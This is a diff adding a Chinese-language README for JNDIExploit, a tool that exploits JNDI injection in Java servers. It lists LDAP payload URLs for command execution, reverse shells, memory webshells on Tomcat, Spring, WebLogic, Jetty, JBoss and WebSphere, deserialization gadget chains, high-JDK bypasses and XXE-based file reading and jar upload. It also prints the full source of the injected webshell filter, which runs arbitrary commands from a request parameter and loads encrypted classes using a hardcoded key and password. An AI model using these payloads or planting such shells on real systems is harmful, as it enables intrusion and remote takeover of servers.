|
| 1 | +# JNDIExploit |
| 2 | +一款用于 ```JNDI注入``` 利用的工具,大量参考/引用了 ```Rogue JNDI``` 项目的代码,支持直接```植入内存shell```,并集成了常见的```bypass 高版本JDK```的方式,适用于与自动化工具配合使用。 |
| 3 | + |
| 4 | +## 使用说明 |
| 5 | + |
| 6 | +使用 ```java -jar JNDIExploit.jar -h``` 查看参数说明,其中 ```--ip``` 参数为必选参数 |
| 7 | + |
| 8 | +``` |
| 9 | +Usage: java -jar JNDIExploit.jar [options] |
| 10 | + Options: |
| 11 | + * -i, --ip Local ip address |
| 12 | + -l, --ldapPort Ldap bind port (default: 1389) |
| 13 | + -p, --httpPort Http bind port (default: 8080) |
| 14 | + -u, --usage Show usage (default: false) |
| 15 | + -h, --help Show this help |
| 16 | +``` |
| 17 | + |
| 18 | +使用 ```java -jar JNDIExploit.jar -u``` 查看支持的 LDAP 格式 |
| 19 | +``` |
| 20 | +Supported LADP Queries |
| 21 | +* all words are case INSENSITIVE when send to ldap server |
| 22 | +
|
| 23 | +[+] Basic Queries: ldap://127.0.0.1:1389/Basic/[PayloadType]/[Params], e.g. |
| 24 | + ldap://127.0.0.1:1389/Basic/Dnslog/[domain] |
| 25 | + ldap://127.0.0.1:1389/Basic/Command/[cmd] |
| 26 | + ldap://127.0.0.1:1389/Basic/Command/Base64/[base64_encoded_cmd] |
| 27 | + ldap://127.0.0.1:1389/Basic/ReverseShell/[ip]/[port] ---windows NOT supported |
| 28 | + ldap://127.0.0.1:1389/Basic/TomcatMemshell |
| 29 | + ldap://127.0.0.1:1389/Basic/JettyMemshell |
| 30 | + ldap://127.0.0.1:1389/Basic/WeblogicMemshell |
| 31 | + ldap://127.0.0.1:1389/Basic/JBossMemshell |
| 32 | + ldap://127.0.0.1:1389/Basic/WebsphereMemshell |
| 33 | + ldap://127.0.0.1:1389/Basic/SpringMemshell |
| 34 | +
|
| 35 | +[+] Deserialize Queries: ldap://127.0.0.1:1389/Deserialize/[GadgetType]/[PayloadType]/[Params], e.g. |
| 36 | + ldap://127.0.0.1:1389/Deserialize/URLDNS/[domain] |
| 37 | + ldap://127.0.0.1:1389/Deserialize/CommonsCollections1/Dnslog/[domain] |
| 38 | + ldap://127.0.0.1:1389/Deserialize/CommonsCollections2/Command/[cmd] |
| 39 | + ldap://127.0.0.1:1389/Deserialize/CommonsBeanutils1/Command/Base64/[base64_encoded_cmd] |
| 40 | + ldap://127.0.0.1:1389/Deserialize/C3P0/ReverseShell/[ip]/[port] ---windows NOT supported |
| 41 | + ldap://127.0.0.1:1389/Deserialize/Jre8u20/TomcatMemshell ---ALSO support other memshells |
| 42 | +
|
| 43 | +[+] TomcatBypass Queries |
| 44 | + ldap://127.0.0.1:1389/TomcatBypass/Dnslog/[domain] |
| 45 | + ldap://127.0.0.1:1389/TomcatBypass/Command/[cmd] |
| 46 | + ldap://127.0.0.1:1389/TomcatBypass/Command/Base64/[base64_encoded_cmd] |
| 47 | + ldap://127.0.0.1:1389/TomcatBypass/ReverseShell/[ip]/[port] ---windows NOT supported |
| 48 | + ldap://127.0.0.1:1389/TomcatBypass/TomcatMemshell |
| 49 | + ldap://127.0.0.1:1389/TomcatBypass/SpringMemshell |
| 50 | +
|
| 51 | +[+] GroovyBypass Queries |
| 52 | + ldap://127.0.0.1:1389/GroovyBypass/Command/[cmd] |
| 53 | + ldap://127.0.0.1:1389/GroovyBypass/Command/Base64/[base64_encoded_cmd] |
| 54 | +
|
| 55 | +[+] WebsphereBypass Queries |
| 56 | + ldap://127.0.0.1:1389/WebsphereBypass/List/file=[file or directory] |
| 57 | + ldap://127.0.0.1:1389/WebsphereBypass/Upload/Dnslog/[domain] |
| 58 | + ldap://127.0.0.1:1389/WebsphereBypass/Upload/Command/[cmd] |
| 59 | + ldap://127.0.0.1:1389/WebsphereBypass/Upload/Command/Base64/[base64_encoded_cmd] |
| 60 | + ldap://127.0.0.1:1389/WebsphereBypass/Upload/ReverseShell/[ip]/[port] ---windows NOT supported |
| 61 | + ldap://127.0.0.1:1389/WebsphereBypass/Upload/WebsphereMemshell |
| 62 | + ldap://127.0.0.1:1389/WebsphereBypass/RCE/path=[uploaded_jar_path] ----e.g: ../../../../../tmp/jar_cache7808167489549525095.tmp |
| 63 | +``` |
| 64 | +* 目前支持的所有 ```PayloadType``` 为 |
| 65 | + * ```Dnslog```: 用于产生一个```DNS```请求,与 ```DNSLog```平台配合使用,对```Linux/Windows```进行了简单的适配 |
| 66 | + * ```Command```: 用于执行命令,如果命令有特殊字符,支持对命令进行 ```Base64编码```后传输 |
| 67 | + * ```ReverseShell```: 用于 ```Linux``` 系统的反弹shell,方便使用 |
| 68 | + * ```TomcatMemshell```: 用于植入```Tomcat内存shell```, 支持```Behinder shell``` 与 ```Basic cmd shell``` |
| 69 | + * ```SpringMemshell```: 用于植入```Spring内存shell```, 支持```Behinder shell``` 与 ```Basic cmd shell``` |
| 70 | + * ```WeblogicMemshell```: 用于植入```Weblogic内存shell```, 支持```Behinder shell``` 与 ```Basic cmd shell``` |
| 71 | + * ```JettyMemshell```: 用于植入```Jetty内存shell```, 支持```Behinder shell``` 与 ```Basic cmd shell``` |
| 72 | + * ```JBossMemshell```: 用于植入```JBoss内存shell```, 支持```Behinder shell``` 与 ```Basic cmd shell``` |
| 73 | + * ```WebsphereMemshell```: 用于植入```Websphere内存shell```, 支持```Behinder shell``` 与 ```Basic cmd shell``` |
| 74 | +* 目前支持的所有 ```GadgetType``` 为 |
| 75 | + * ```URLDNS``` |
| 76 | + * ```CommonsBeanutis1``` |
| 77 | + * ```CommonsCollections1``` |
| 78 | + * ```CommonsCollections2``` |
| 79 | + * ```C3P0``` |
| 80 | + * ```Jre8u20``` |
| 81 | +* ```WebsphereBypass``` 中的 3 个动作: |
| 82 | + * ```list```:基于```XXE```查看目标服务器上的目录或文件内容 |
| 83 | + * ```upload```:基于```XXE```的```jar协议```将恶意```jar包```上传至目标服务器的临时目录 |
| 84 | + * ```rce```:加载已上传至目标服务器临时目录的```jar包```,从而达到远程代码执行的效果(这一步本地未复现成功,抛```java.lang.IllegalStateException: For application client runtime, the client factory execute on a managed server thread is not allowed.```异常,有复现成功的小伙伴麻烦指导下) |
| 85 | + |
| 86 | +## ```内存shell```说明 |
| 87 | +* 采用动态添加 ```Filter/Controller```的方式,并将添加的```Filter```移动至```FilterChain```的第一位 |
| 88 | +* ```内存shell``` 的兼容性测试结果请参考 [memshell](https://github.com/feihong-cs/memShell) 项目 |
| 89 | +* ```Basic cmd shell``` 的访问方式为 ```/anything?type=basic&pass=[cmd]``` |
| 90 | +* ```Behinder shell``` 的访问方式需要修改```冰蝎```客户端(请参考 [冰蝎改造之适配基于tomcat Filter的无文件webshell](https://mp.weixin.qq.com/s/n1wrjep4FVtBkOxLouAYfQ) 的方式二自行修改),并在访问时需要添加 ```X-Options-Ai``` 头部,密码为```rebeyond``` |
| 91 | + |
| 92 | +植入的 Filter 代码如下: |
| 93 | +``` |
| 94 | +public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { |
| 95 | + System.out.println("[+] Dynamic Filter says hello"); |
| 96 | + String k; |
| 97 | + Cipher cipher; |
| 98 | + if (servletRequest.getParameter("type") != null && servletRequest.getParameter("type").equals("basic")) { |
| 99 | + k = servletRequest.getParameter("pass"); |
| 100 | + if (k != null && !k.isEmpty()) { |
| 101 | + cipher = null; |
| 102 | + String[] cmds; |
| 103 | + if (File.separator.equals("/")) { |
| 104 | + cmds = new String[]{"/bin/sh", "-c", k}; |
| 105 | + } else { |
| 106 | + cmds = new String[]{"cmd", "/C", k}; |
| 107 | + } |
| 108 | +
|
| 109 | + String result = (new Scanner(Runtime.getRuntime().exec(cmds).getInputStream())).useDelimiter("\\A").next(); |
| 110 | + servletResponse.getWriter().println(result); |
| 111 | + } |
| 112 | + } else if (((HttpServletRequest)servletRequest).getHeader("X-Options-Ai") != null) { |
| 113 | + try { |
| 114 | + if (((HttpServletRequest)servletRequest).getMethod().equals("POST")) { |
| 115 | + k = "e45e329feb5d925b"; |
| 116 | + ((HttpServletRequest)servletRequest).getSession().setAttribute("u", k); |
| 117 | + cipher = Cipher.getInstance("AES"); |
| 118 | + cipher.init(2, new SecretKeySpec((((HttpServletRequest)servletRequest).getSession().getAttribute("u") + "").getBytes(), "AES")); |
| 119 | + byte[] evilClassBytes = cipher.doFinal((new BASE64Decoder()).decodeBuffer(servletRequest.getReader().readLine())); |
| 120 | + Class evilClass = (Class)this.myClassLoaderClazz.getDeclaredMethod("defineClass", byte[].class, ClassLoader.class).invoke((Object)null, evilClassBytes, Thread.currentThread().getContextClassLoader()); |
| 121 | + Object evilObject = evilClass.newInstance(); |
| 122 | + Method targetMethod = evilClass.getDeclaredMethod("equals", ServletRequest.class, ServletResponse.class); |
| 123 | + targetMethod.invoke(evilObject, servletRequest, servletResponse); |
| 124 | + } |
| 125 | + } catch (Exception var10) { |
| 126 | + var10.printStackTrace(); |
| 127 | + } |
| 128 | + } else { |
| 129 | + filterChain.doFilter(servletRequest, servletResponse); |
| 130 | + } |
| 131 | +
|
| 132 | + } |
| 133 | + ``` |
| 134 | + |
| 135 | + ## 参考 |
| 136 | + * https://github.com/veracode-research/rogue-jndi |
| 137 | + * https://github.com/welk1n/JNDI-Injection-Exploit |
| 138 | + * https://github.com/welk1n/JNDI-Injection-Bypass |
0 commit comments